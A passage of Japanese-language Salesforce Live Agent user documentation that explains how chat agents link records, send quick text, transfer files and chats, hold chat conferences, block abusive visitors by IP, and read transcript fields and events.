チャットに関連付けるには、検索結果リストからレコードを選択して、[保
存] をクリックします。
以前の組織では、チャット中に [関連エンティティ] パネルからレコードや訪
問者の詳細にアクセスできました。ただし、Summer '14 以降、新しい Live Agent

ユーザは詳細タブにある [関連エンティティ] パネルを使用できなくなりま
す。既存のユーザは、引き続き [関連エンティティ] パネルにアクセスするこ
とができます。

• 既存のレコードをチャットに関連付けたら、レコードを新しいタブで開くに
は、レコードの名前をクリックします。

• 新しいレコードを作成するには、[新規ケース]、[新規リード]、[新規取引先
責任者]、または [新規取引先] をクリックします。
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チャットでのクイックテキストメッセージの送信

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

Live Agent で訪問者と
チャット中にクイックテ
キストにアクセスする
• クイックテキストに対

する「参照」

一般的なメッセージをさらにすばやく送信するには、事前に作成したメッセー
ジをチャット顧客に送信します。
クイックテキストを使用すると、挨拶や一般的なトラブルシューティング手順
など、定義済みのメッセージをチャットメッセージに挿入して、顧客への対応
を効率化できます。

メモ: クイックテキストへのアクセス権がない場合は、Salesforceシステム管
理者にお問い合わせください。

1. 顧客とのチャット中に、メッセージ項目に「;;」と入力します。
クイックテキストメッセージのリストが表示されます。最近使用したメッ
セージがリストの最上部に表示されます。

2. 使用可能なその他のクイックテキストメッセージを表示するには、単語また
は語句を入力します。
それらの単語を含むメッセージのリストが表示されます。

3. メッセージのタイトルおよび全文を表示するには、メッセージをクリックす
るか、キーボードの矢印キーを使用して強調表示します。
完全なメッセージは [クイックテキスト] リストの下部に表示されます。

4. メッセージを選択してチャットに追加するには、メッセージをダブルクリッ
クするか、メッセージを強調表示してキーボードの Enter キーを押します。

5. メッセージを送信するには、[送信] をクリックするか、キーボードの Enter

キーを押します。
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チャット中のファイル転送

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

Salesforce コンソールを使
用する
• 「Live Agent」が有効

化、設定されている

および

Salesforce コンソール
アプリケーションで
Live Agent が有効化さ
れている

チャット中に顧客がファイルをアップロードして転送できるようにします。こ
れにより、顧客が各自の問題に関する重要な情報を簡単に共有できるようにな
ります。
たとえば、顧客がプロセスを実行しようとしたときにエラーが表示された場合、
そのエラーメッセージのスクリーンショットをアップロードしてエージェント
に転送できます。
顧客がファイルをアップロードするためには、あらかじめケースや取引先責任
者などのレコードにチャットを関連付けておく必要があります。チャットのト
ランスクリプトはチャット終了後に作成されるため、チャット中に顧客のファ
イルを直接トランスクリプトに添付することはできません。
1. をクリックして、チャットに添付するレコードを検索または作成しま

す。
2. ファイル転送アイコン ( ) をクリックします。

メモ: ファイル転送アイコンをクリックしてファイル転送を開始しない
と、顧客がファイルをアップロードできません。これは、顧客が未承諾
のファイルや潜在的に危険なファイルをチャットにアップロードしない
ようにするためです。

3. 転送ファイルを添付する、最初のステップで選択したレコードを選択しま
す。
ファイルをチャットウィンドウにアップロードするように求めるプロンプト
が顧客に表示されます。ファイルは 25 MB を超えることはできません。

4. 顧客がチャット経由でファイルを送信した場合は、チャットログのリンクを
クリックしてファイルを表示します。
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チャットへの添付ファイルの追加

Live Agent チャットへの記事の添付

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

記事を検索し、参照する
• 記事タイプに対する

「参照」

Knowledge One ウィジェットを使用して、チャット中に顧客の問題解決に役立つ
記事を検索できます。
Knowledge One ウィジェットは、Salesforce組織でナレッジを使用しており、Salesforce

システム管理者が Salesforce コンソールアプリケーションにそのツールを追加し
ている場合にのみ使用できます。
1. 訪問者とチャットしているときに、Knowledge One ウィジェットでリストの記

事をクリックします。記事の全文を含むタブが開きます。
2. リスト内の特定の記事を検索するには、ウィジェットのテキストボックスに

単語または語句を入力して、 をクリックするか、Enter キーを押します。
• または、リストに含まれていない記事を含むすべての記事を検索するに

は、ウィジェットの上部にある をクリックします。メインウィジェッ
トの検索では、検索結果を特定の記事タイプに制限することができます。

• 検索結果を絞り込むには、[条件]をクリックして、検索を制限する方法を
選択します。

3. 探している記事が見つかったら、 をクリックし、[共有] をクリックしま
す。
記事のテキストがチャットのテキストボックスに表示されます。

4. 訪問者に記事を送信するには、[送信] をクリックするか、キーボードの Enter

キーを押します。

メモ: システム管理者が [Chat Answer] 項目を記事に設定していた場合の
み、記事を訪問者に送信できます。この項目が設定されていない場合、
記事は表示できますが、それらをチャットに含めることはできません。
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チャットトランスクリプトへのレコードの添付

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition
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ユーザ権限

レコードを検索および参
照する
• オブジェクトに対する

「参照」

および

Live Chat トランスクリ
プトに対する「作成」

新しいレコードを作成す
る
• オブジェクトに対する

「作成」

および

Live Chat トランスクリ
プトに対する「作成」

レコードを編集する
• オブジェクトに対する

「編集」

および

Live Chat トランスクリ
プトに対する「作成」

レコードを削除する
• オブジェクトに対する

「削除」

および

Live Chat トランスクリ
プトに対する「作成」

顧客とチャットするときに、レコードを検索または作成し、チャットトランス
クリプトに添付します。
顧客とチャットするときに、既存のレコードを検索するか、新しいレコードを
作成して、トランスクリプトに関連付けます。たとえば、顧客の問題に基づい
て新しいケースを作成したり、顧客の既存の取引先責任者レコードを検索した
りして、後で参照できるようにこれらのレコードをトランスクリプトに添付で
きます。標準レコードまたはカスタムレコードをチャットトランスクリプトに
添付できます。
1. 顧客とのチャット中に をクリックして、レコードをトランスクリプトに

添付できます。

メモ: 各レコードタイプにつき 1 つのレコードのみをチャットトランス
クリプトに添付できます。たとえば、複数のケースを 1 つのトランスク
リプトに添付することはできません。

2. 既存のレコードを検索する手順は、次のとおりです。
a. レコードウィンドウで、検索するレコードタイプの横にある [検索] アイ

コン ( ) をクリックします。
b. レコード名を入力して Enter キーを押します。

新規タブでレコードが開きます。
c.

[添付] アイコン ( ) を再度クリックします。
d. 検索したレコードの横にあるチェックボックスをオンにして、レコード

をチャットトランスクリプトにリンクします。

3. 新しいレコードを作成する手順は、次のとおりです。
a. 作成するレコードタイプの横にある [作成] アイコン ( ) をクリックしま

す。
b. 新しいレコードの情報を入力して保存します。

レコードが作成されると、自動的にレコードがトランスクリプトにリン
クされます。

4. 顧客とのチャットが完了したら、チャットを終了します。
5. 確認メッセージが表示されたら、[保存] をクリックします。

これで、リンクしたレコードがトランスクリプトに添付されました。これらのレコードは、トランスクリ
プトの詳細ビューからアクセスできます。
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望ましくないチャット顧客のブロック

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

Salesforce コンソールの
Live Agent で訪問者と
チャットする
• Salesforce コンソール

アプリケーションで
Live Agent を有効化、
設定、および含める

厄介な顧客のチャットを Salesforce コンソールから直接ブロックできます。たと
えば、顧客が暴言を吐いたり、スパムメッセージを送ってきたりする場合に、
そのユーザが新しいチャットを開始できないようにすることができます。
チャットをブロックすると、そのチャットが終了し、そのユーザの IP (インター
ネットプロトコル) アドレスからの新しいチャット要求はすべてブロックされま
す。
Salesforce 組織が特定の地域から多くのスパムチャットを受信している場合は、
システム管理者が IP アドレスの範囲全体をブロックできます。
1.

操作ペインで、 アイコンをクリックします。
2. (省略可能) この訪問者をブロックする理由を説明するコメントを入力します。
3. [ブロック] をクリックします。
[ブロック]をクリックするとチャットが即座に終了し、訪問者にはエージェント
がチャットを終了したことを示す通知が表示されます。複数のエージェントが
会議に参加している場合は、[ブロック]をクリックすると会議が即座に終了し、
他のエージェントにも通知されます。

コンソールに アイコンが表示されない場合は、Salesforce システム管理者
に連絡してアイコンを有効にしてください。Salesforce システム管理者のみが IP

アドレスのブロックを解除できます。
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チャットセッションの終了

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

の Live Agent で訪問者と
チャットする
• アプリケーションで

Live Agent を有効化、
設定、および含める

顧客とのチャットとそれらのチャットに関連するレコードの更新が完了したら、
チャットセッションを終了します。
顧客とのチャットを終了しても、そのチャットに関連する主タブと従タブはコ
ンソールで開いたままです。これらのタブを閉じて作業を保存し、より多くの
チャットを取得できるように領域を解放します。
1. チャットの主タブを閉じます。
2. 確認メッセージが表示されたら、[保存] をクリックします。
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コラボレーションと支援の要求

エージェント、スキル、ボタンへのチャットの転送

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

顧客が常に最も関連性の高いソースから最高品質の支援を受けられるようにす
るため、Live Agent チャットを別のエージェント、スキル、またはボタンに転送
できます。
メールやケースを別のエージェントに転送するように、Live Agent チャットを転
送できます。転送は、顧客の問題を別のエージェントが解決できる場合や、特
定のスキルを持つエージェントが必要な場合に役立ちます。チャットが次のエー
ジェントに渡される方法は、使用する転送の種類に応じて異なります。
転送には、エージェントへの転送、スキルへの転送、ボタンへの転送の 3 種類
があります。顧客ができるだけ早く支援を受けられるようにするため、特定の
種類のチャット転送では、エージェントに設定された業務量を超えることがで
きます。エージェントの業務量は、Live Agent設定またはプレゼンス設定 (組織で
オムニチャネルを使用している場合) で設定できます。

設定されたエー
ジェント業務量を
超えることができ
るか

転送の方法シナリオ転送の種類

はいチャット要求が
エージェント Jane

ケースに適任であ
るエージェントの

エージェントへの
転送

に送信されます。Jane にチャットを
転送します。 エージェント Jane

が要求を受け入れ
ると、チャットが
転送され、転送元
エージェントの
チャットワークス
ペースが閉じま
す。

はいそのスキルに割り
当てられたすべて

「請求スペシャリ
スト」のスキルを

スキルへの転送

のエージェントに持っているエー
チャット要求が送ジェントにチャッ

トを転送します。 信され、最初に受
け入れたエージェ
ントにチャットが
転送されます。

いいえ選択されたボタン
またはキューに割

営業キューから
サービスキューに

ボタンへの転送

り当てられた対応
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設定されたエージェント
業務量を超えることがで
きるか

転送の方法シナリオ転送の種類

可能なエージェントに
チャットが転送されま
す。

チャットを転送します。

チャットがエージェントまたはスキルグループに直接転送される場合、エージェントは業務量を超えても転送
されたチャットを受け入れられます。つまり、エージェントは最大許容可能チャット数に対応していても、常
にチャット要求を受信します。転送要求が拒否されるかタイムアウトした場合、元のエージェントは別の受信
者または転送方法を試みることができます。
ボタンまたはキューから転送されるチャット数は、設定されたエージェント業務量に従います。したがって、
そのボタンまたはキューに割り当てられたエージェントは、業務量に空きがない場合は、転送要求やその他の
チャット要求を受信しません。その場合でも、顧客が別のエージェントを長時間待つことはありません。チャッ
トが次のキューに送信されると、受信チャットリストに経過時間順に追加されるため、新しいチャット要求よ
り上位に表示されます。
転送されたチャットをエージェントが受け入れると、チャットトランスクリプトに添付されたレコード (ケー
スや取引先責任者など) がワークスペース内にチャットと共に開きます。受け入れたエージェントは、顧客の
サポートにすぐに取り掛かるための情報を確認でき、関連レコードを検索する必要がありません。また、前の
エージェントが転送を開始するときにレコードへの変更を保存することが求められるため、これらのレコード
も完全に最新の状態です。

メモ: 受け入れたエージェントに一部の添付オブジェクトを参照する権限がない場合、それらの項目は転
送されたワークスペースでは開きません。

チャットの転送
顧客の問題について特別に支援が必要な場合や、新しい要求に対応する余地を作るために、チャットセッ
ションを別のエージェントに転送できます。
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チャットの転送

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

Salesforce コンソールの
Live Agent で訪問者と
チャットする
• Salesforce コンソール

アプリケーションで
Live Agent を有効化、
設定、および含める

顧客の問題について特別に支援が必要な場合や、新しい要求に対応する余地を
作るために、チャットセッションを別のエージェントに転送できます。
1. 顧客とのチャット中に [転送] をクリックします。

2. いずれかのメニューから転送オプションを選択します。
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メモ: 転送の種類のそれぞれに、Salesforce 組織で有効になっているオプションがあります。必要なオ
プションが表示されない場合は、システム管理者に追加するよう依頼してください。

3. (省略可能) チャットを受信するエージェントへのメッセージを入力します。このメッセージは、チャット
要求の一部として、次のエージェントにコンテキストを伝えるためのものです。
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4. 転送が受け入れられると、転送元エージェントのチャットと関連レコードが自動的に閉じます (まだ変更を
保存していない場合は、保存するように求められます)。拒否された場合は、別の受信者または転送方法を
試みることができます。
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チャット会議要求の送信

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

設定を作成および編集す
る
• 「アプリケーションの

カスタマイズ」

チャット会議を有効にす
る
• 「Live Agent チャット

会議の有効化」

サポートエージェントの知識は豊富ですが、1 人のサポートエージェントが顧客
の問題解決に必要なすべての情報を所有しているとは限りません。チャット会
議では、顧客のチャットに 1 人以上のエージェントを招待できます。これによ
り、会話の流れを遮ることなく、単調なチャットを有意義な複数エージェント
によるサポート提供の場とすることができます。チャット会議要求を送信し、
別のエージェントに顧客のチャットへの参加を要請します。

メモ:  1 人のエージェントによる会議を実施するか、すべてのエージェント
に要求を送信して最初に受け入れたエージェントを会議に参加させること
ができます。複数のエージェントによるチャット会議も実施できますが、
各エージェントに個別に要求を送信する必要があります。

1. 顧客とのチャット中に をクリックします。
2. チャットに転送するエージェントのスキルグループを選択します。
3. そのスキルを持つすべてのエージェントに会議要求を送信するか、特定の

エージェントに会議要求を送信するかを選択します。
4. [会議] をクリックして会議要求を送信します。

エージェントが会議要求を受け入れると、チャットログ内に通知が表示さ
れ、そのエージェントが顧客とのチャットに参加できます。エージェントが
要求を却下した場合、チャットログの上に通知が表示されます。エージェン
トが会議に参加した場合や会議から退席した場合は、顧客に通知されます。

5. 会議を終了する場合は、[退席] をクリックしてから、再度 [退席] をクリック
します。
他のエージェントが会議から退席した場合、チャットログ内に通知が表示さ
れます。

会議に参加する他のエージェントには、保存されたレコードおよび添付された
レコードが開きます。ただし、その他のレコードを添付できるのは、元のエー
ジェントまたは参加時間が最も長いエージェントのみです。参加時間が最も長
いエージェントが会議中にレコードを添付または削除した場合、他のエージェントのワークスペースにこれら
の変更は表示されません。
チャットおよびワークスペースの転送についての詳細は、「チャットの転送」を参照してください。
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チャットでの支援の要求

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

チャットで支援が必要な場合は、仮想フラグを有効化してスーパーバイザに知
らせます。エージェントが支援を必要としていることがスーパーバイザに伝わ
り、コンソールから直接応答できます。
1. 操作ペインで、 アイコンをクリックします。
2. 必要な支援を説明する簡単なメッセージを入力します。
3. [フラグを有効化] をクリックします。
問題が解決したら、エージェントまたはスーパーバイザはフラグを無効化でき
ます。
コンソールに アイコンが表示されない場合は、Salesforce システム管理者に連
絡してアイコンを有効にしてください。
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顧客レコードの表示

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

顧客レコードを表示する
• レコードタイプに対す

る「参照」

Live Agent を使用するエー
ジェントの場合
• 「API の有効化」シス

テム管理者権限

Salesforce では、チャットの終了時にいくつかのレコードが自動的に作成されま
す。これらのレコードには、チャットの顧客およびエージェントとのやりとり
に関する情報が保存されます。
これらのレコードの大部分は、顧客およびエージェントとのチャットに関する
監査履歴を提供するために内部的に使用されます。ただし、これらのレコード
には、必要になった場合は自分でアクセスできます。
1. Salesforce コンソールで顧客レコードにアクセスするには、Salesforce コンソー

ルナビゲーションリストから、表示するレコードのタイプを選択します。
レコードのリストは、メインウィンドウに表示されます。

Live Agent セッションレコード
エージェントがLive Agentにログインするたびに、Live Agentセッションレコー
ドが自動的に作成されます。セッションレコードには、処理されたチャット
要求数、エージェントがオンラインであった時間、エージェントが顧客との
チャットに参加した時間など、エージェントと顧客のオンラインでのやりと
りに関する情報が保存されます。
Live Agent の訪問者レコード
エージェントが顧客とチャットするたびに、顧客のコンピュータを識別する
訪問者レコードが自動的に作成されます。
Live Agent のトランスクリプト
Live Agentのトランスクリプトとは、顧客とエージェントの間のチャットのレ
コードです。Salesforce では、チャットセッションごとに自動的にトランスク
リプトが作成されます。
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Live Agent セッションレコード

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

エージェントが Live Agent にログインするたびに、Live Agent セッションレコード
が自動的に作成されます。セッションレコードには、処理されたチャット要求
数、エージェントがオンラインであった時間、エージェントが顧客とのチャッ
トに参加した時間など、エージェントと顧客のオンラインでのやりとりに関す
る情報が保存されます。
Live Agent セッションを使用して、サポートエージェントと顧客の間のチャット
に関する情報を検索、編集できます。たとえば、「今日のセッション」という
リストを作成して、1 日に行われたチャット活動を表示できます。
セッションレコードをケース、取引先、取引先責任者、リードに関連付け、カ
スタム参照項目を使用して他のオブジェクトにリンクできます。

メモ: 適切な権限がある場合は、Salesforceの他のレコードタイプと同様に、
セッションレコードを作成、表示、編集、削除できます。ただし、セッショ
ンレコードはエージェントと顧客間のチャットの履歴を提供することを目
的としているため、ほとんどの場合においてこのレコードを変更しないで
ください。

Live Agent の訪問者レコード

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

エージェントが顧客とチャットするたびに、顧客のコンピュータを識別する訪
問者レコードが自動的に作成されます。
新規の訪問者はそれぞれ、Salesforce によって自動作成されるセッションキーに
関連付けられます。セッションキーは、訪問者のレコード内と訪問者の PC に
Cookie として保存される一意の ID です。顧客が複数のチャットに参加する場合、
Salesforce では、セッションキーを使用して、顧客をその訪問者レコードにリン
クし、そのレコードをすべての関連チャットトランスクリプトに関連付けます。

メモ: 適切な権限がある場合は、Salesforceの他のレコードタイプと同様に、
訪問者レコードを作成、表示、編集、削除できます。ただし、訪問者レコー
ドは、顧客をチャットトランスクリプトに関連付けた履歴を提供すること
を目的としているため、ほとんどの場合においてこのレコードを変更しな
いでください。
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Live Agent のトランスクリプト

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

Live Agentのトランスクリプトとは、顧客とエージェントの間のチャットのレコー
ドです。Salesforce では、チャットセッションごとに自動的にトランスクリプト
が作成されます。
チャットが正常に終了した場合、つまり、顧客またはエージェントがチャット
を終了した場合、エージェントがチャットウィンドウおよび関連タブを閉じる
とすぐにチャットトランスクリプトが作成されます。
チャットの切断などのエラーが発生した場合でも、そのチャットトランスクリ
プトが Salesforce によって作成されますが、チャットが切断されてからトランス
クリプトが作成されるまで最大 30 分かかります。
トランスクリプトをケース、取引先、取引先責任者、リードに関連付けたり、
他のオブジェクトにリンクしたりできます。

メモ: 適切な権限があれば、Salesforceの他のレコードタイプのようにチャッ
トトランスクリプトを作成、表示、編集、削除できます。ただし、チャッ
トトランスクリプトはエージェントと顧客間のチャットのペーパートレイ
ルであるため、ほとんどの場合、これらのレコードを改ざんすることはお
勧めしません。

Live Agent トランスクリプトの項目
Live Agent トランスクリプトの項目を使用すると、エージェントと顧客のチャットに関する情報を追跡でき
ます。
Live Agent のトランスクリプトイベント
Live Chat トランスクリプトイベントを使用すると、チャット中にエージェントと顧客の間で発生するイベン
トを自動的に追跡できます。
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Live Agent トランスクリプトの項目

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

Live Agent トランスクリプトの項目を使用すると、エージェントと顧客のチャッ
トに関する情報を追跡できます。
Live Agentトランスクリプトには、次の項目があります (アルファベット順)。ペー
ジレイアウト設定と項目レベルセキュリティ設定によって、これらの項目には
表示できないものや編集できないものがあります。

定義項目

顧客がチャットを切断するまでに、受
信チャット要求にエージェントが回答
できなかった時間 (秒単位)

次の後に中止

トランスクリプトに関連付けられてい
る取引先の名前

取引先名

エージェントがチャット訪問者のメッ
セージに応答するのに要した平均時間

エージェント平均応答時間

エージェントがチャット訪問者のメッ
セージに応答するのに要した最大時間

エージェント最大応答時間

エージェントがチャット中に送信した
メッセージの数

エージェントメッセージ数

チャットの開始に使用された Live Chat

ボタンに関連付けられているスキル
エージェントスキル

エージェントと訪問者の間のチャット
をテキストにした内容

内容

訪問者により使用されたブラウザのタ
イプとバージョン

ブラウザ

訪問者のブラウザで選択されている言
語

ブラウザの言語

チャットに関連付けられているケースケース

チャットを開始するために訪問者がク
リックしたチャットボタン

[チャット] ボタン

チャットの合計時間 (秒単位)チャット時間

チャットに参加した取引先責任者の名
前。
取引先責任者と訪問者は同じではあり
ません。詳細は、「Live Chat の訪問者」
を参照してください。

取引先責任者名
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定義項目

トランスクリプトを作成したユーザ (作成日時を含む)

(参照のみ)

作成者

トランスクリプトの作成日時 (参照のみ)作成日

訪問者がチャットを開始したリリースリリース

チャットの終了時間終了時刻

チャットを終了した訪問者またはエージェント終了者

トランスクリプトを最後に更新したユーザ (日時を含
む) (参照のみ)

最終更新者

トランスクリプトの最終更新日時 (参照のみ)最終更新日

チャットで生成されたリードまたはチャット中に話し
合われたリードの名前

リード

トランスクリプトに自動的に割り当てられた一意の数
値識別子。
システム管理者は、この項目の形式または番号を変更
できます。

Live Chat のトランスクリプト

通常、トランスクリプト番号は連続して増えていきま
すが、連続した番号をスキップする可能性もありま
す。

訪問者に自動的に割り当てられた一意の数値識別子。
システム管理者は、この項目の形式または番号を変更
できます。

Live Chat の訪問者

通常、訪問者番号は連続して増えていきますが、連続
した番号をスキップする可能性もあります。
訪問者と取引先責任者は異なります。訪問者が取引先
責任者の場合もありますが、これは必須ではありませ
ん。取引先責任者と訪問者の間に関係はありません。

訪問者の地理的な場所。市と州のいずれか、または市
と国のいずれか (訪問者がアメリカ以外にいる場合)。

場所

訪問者のネットワークまたはインターネットサービス
プロバイダ。

ネットワーク
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定義項目

トランスクリプト所有者の名前。デフォルトでは、所
有者は、トランスクリプトを作成したユーザ (チャッ
トに回答したエージェントなど) です。
所有者として別のユーザを選択したり、キューにトラ
ンスクリプトを割り当てたりすることができます。他

所有者

のユーザにトランスクリプトを割り当てる場合、その
ユーザに Live Chat のトランスクリプトに対する「参
照」権限があることを確認してください。

ユーザのオペレーティングシステムプラットフォーム

訪問者が Web サイトにアクセスする前に表示してい
たサイト。
たとえば、訪問者が Google を使用して、サポート組織
の Web サイトを検索した場合、参照サイトは Google

です。

参照サイト

訪問者がチャットを最初に要求した時間要求時間

訪問者が使用した画面解像度画面解像度

エージェントがチャット要求に応答した時間開始時刻

完了または見逃し。要求されたが応答がなく見逃され
たチャット

状況

スーパバイザからの示唆メッセージが含まれていますスーパーバイザトランスクリプト本文

訪問者が使用したブラウザとオペレーティングシステ
ムの種類を特定する文字列

ユーザエージェント

訪問者がエージェントのコメントの応答にかかった平
均時間

訪問者平均応答時間

顧客がエージェントのメッセージに応答するのに要し
た最大時間

訪問者最大応答時間

訪問者がチャット中に使用したコンピュータの IP アド
レス

訪問者の IP アドレス

訪問者がチャット中に送信したメッセージの数訪問者メッセージ数

チャット要求がエージェントに受け入れられるまでに
要した合計待機時間

待機時間
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Live Agent のトランスクリプトイベント

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

Live Chat トランスクリプトイベントを使用すると、チャット中にエージェントと
顧客の間で発生するイベントを自動的に追跡できます。
Live Chat のトランスクリプトを編集して、Live Chat 中にエージェントと顧客の間
で行われるイベントを追跡できます。Live Chat のトランスクリプトには、次のイ
ベントを追加できます。

説明イベント

訪問者がチャットを要求したチャット要求済み

チャット要求がキューに入れられたキュー

チャット要求がエージェントに送信された送信済み (転送)

チャット要求が、すべての使用可能で適格なエージェント
に送信された

送信済み (選択)

チャット要求がエージェントによって承諾された参加

エージェントが顧客のメッセージに応答できないまま、重
要なアラート待機時間に達した

重要なアラート待
機時間に到達

待機時間経過アラートを受信してから、エージェントが顧
客のメッセージに応答した

待機時間経過ア
ラートのクリア

エージェントがチャット転送を要求した転送要求済み

チャット転送がエージェントによって承諾された転送承諾済み

要求を送信したエージェントがチャット転送要求をキャン
セルした

転送要求のキャン
セル

要求を受信したエージェントがチャット転送要求を拒否し
た

転送要求の拒否

チャットがボタンに転送されたボタンに転送済み

ボタンへのチャット転送に失敗したボタンへの転送が
失敗

会議を開始する要求をエージェントが送信したチャット会議要求
済み

会議要求がキャンセルされたチャット会議が
キャンセル

会議要求がエージェントによって拒否されたチャット会議拒否

エージェントが会議に参加したエージェントが会
議に参加
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説明イベント

エージェントが会議から退席したエージェントが会議から退
席

ファイル転送が要求されたファイル転送要求済み

ファイル転送がエージェントによってキャンセルされたファイル転送がエージェン
トによってキャンセル

ファイル転送が訪問者によってキャンセルされたファイル転送が訪問者に
よってキャンセル

ファイル転送が成功したファイル転送が成功

ファイル転送が失敗したファイル転送が失敗

チャットの試行が IP ブロックルールでブロックされたキャンセル (ブロック)

エージェントが有効なチャットをブロックした (IP ブロックルールの作成)エージェントによってブ
ロック済み

チャット要求がエージェントによって却下された却下 (手動)

チャット要求が、エージェントへの割り当て中にタイムアウトになった却下済み (タイムアウト)

適格なエージェントがなかったため、チャット要求がキャンセルされたキャンセル (エージェント
なし)

キューに空きがなかったため、チャット要求がキャンセルされたキャンセル (キューなし)

訪問者が [チャットをキャンセル] をクリックした訪問者によってキャンセル

エージェントがチャットを退席したエージェントが退席

訪問者がチャットを退席した訪問者が退席

エージェントが [チャットを終了する] をクリックしたエージェントにより終了

訪問者が [チャットを終了する] をクリックした訪問者により終了

別のイベントが発生したその他
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サポートスーパーバイザの Live Agent

エディション

使用可能なエディション:
Salesforce Classic

Live Agent を使用可能な組
織: 2012 年 6 月 14 日より
も後に作成された
Performance Edition および
Developer Edition の組織

Live Agent を使用可能なエ
ディション: Unlimited
Edition (Service Cloud 付属)

有料オプションで Live
Agentを使用可能なエディ
ション: Enterprise Edition
および Unlimited Edition

ユーザ権限

Salesforce コンソールの
Live Agent で訪問者と
チャットする
• Salesforce コンソール

アプリケーションで
Live Agent を有効化、
設定、および含める

サポートスーパーバイザの Live Agent へようこそ。Live Agent は、エージェントが
顧客を簡単にサポートできるようにする包括的なチャットソリューションです。
Live Agent のスーパーバイザツールを使用すると、エージェントの活動の監視、
チャットでのエージェントのサポート、エージェントのチャットセッションに
関するデータの表示を簡単に行うことができます。
サポートスーパーバイザは、最適なサポートを顧客に確実に提供するため、従
業員を統括します。Live Agentは、残りのSalesforceと完全に統合されているチャッ
トソリューションであり、エージェントおよびそのチャット活動に関する必要
なすべての情報に単一のワークスペースから簡単にアクセスできます。
Live Agent での経験の有無に関係なく、顧客とやりとりするチャットエージェン
トを簡単にサポートおよび監視できるいくつかのツールを自由に使用できます。
では始めましょう。
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Live Agent スーパーバイザパネル

エディション

